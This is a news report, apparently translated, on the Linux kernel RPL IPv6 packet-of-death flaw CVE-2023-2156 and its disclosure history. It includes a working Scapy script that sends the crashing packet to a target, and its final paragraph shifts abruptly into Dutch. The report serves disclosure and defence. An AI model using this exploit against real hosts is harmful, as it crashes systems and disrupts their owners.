Details have been revealed about the unpatched (0-day) vulnerability (CVE-2023-2156) in the Linux kernel, which allows for system disruption through specially crafted IPv6 packets (packet-of-death). The issue manifests only when support for the RPL (Routing Protocol for Low-Power and Lossy Networks) is enabled, which is disabled by default in distributions and primarily used in embedded devices operating in wireless networks with high packet loss.
The vulnerability is caused by improper handling of external data in the RPL protocol parsing code, leading to an assert failure and the kernel entering a panic state. When placing data obtained from parsing the IPv6 RPL packet header in the k_buff (Socket Buffer) structure, if the CmprI field is set to 15, the Segleft field to 1, and CmprE to 0, a 48-byte vector with addresses unpacks to 528 bytes, causing insufficient memory to be allocated for the buffer. In this case, the skb_push function, used to place data into the structure, triggers a size mismatch check that generates a panic state to prevent buffer overflow.
Example exploit: # Weāll use Scapy to craft the packet from scapy.all import * import socket # Use the IPv6 from your LAN interface DST_ADDR = sys.argv[1] SRC_ADDR = DST_ADDR # We use sockets to send the packet sockfd = socket.socket(socket.AF_INET6, socket.SOCK_RAW, socket.IPPROTO_RAW) # Craft the packet # Type = 3 makes this an RPL packet # Addresses includes 3 addresses, but because CmprI is 15, # each octet of the first two addresses is treated as a compressed address # Segleft = 1 to trigger the amplification # lastentry = 0xf0 sets CmprI to 15 and CmprE to 0 p = IPv6(src=SRC_ADDR, dst=DST_ADDR) / IPv6ExtHdrSegmentRouting(type=3, addresses=["a8::", "a7::", "a6::"], segleft=1, lastentry=0xf0) # Send this evil packet sockfd.sendto(bytes(p), (DST_ADDR, 0))
Notably, kernel developers were notified about the vulnerability as early as January 2022 and over the past 15 months attempted to resolve the issue three times by releasing patches in September 2022, October 2022, and April 2023, but each time the fixes were insufficient, and the vulnerability could be reproduced. Ultimately, the ZDI project, which coordinated the vulnerability remediation efforts, decided to disclose the detailed information about the vulnerability without waiting for a working fix in the kernel.
Daarom blijft de kwetsbaarheid tot nu toe onopgelost. Ook de patch die in de kernel 6.4-rc2 is opgenomen, is niet effectief. Het wordt aanbevolen aan gebruikers om te controleren of het RPL-protocol in hun systemen niet wordt gebruikt, wat kan worden gedaan met het commando sysctl -a | grep -i rpl_seg_enabled.
Bron: opennet.ru
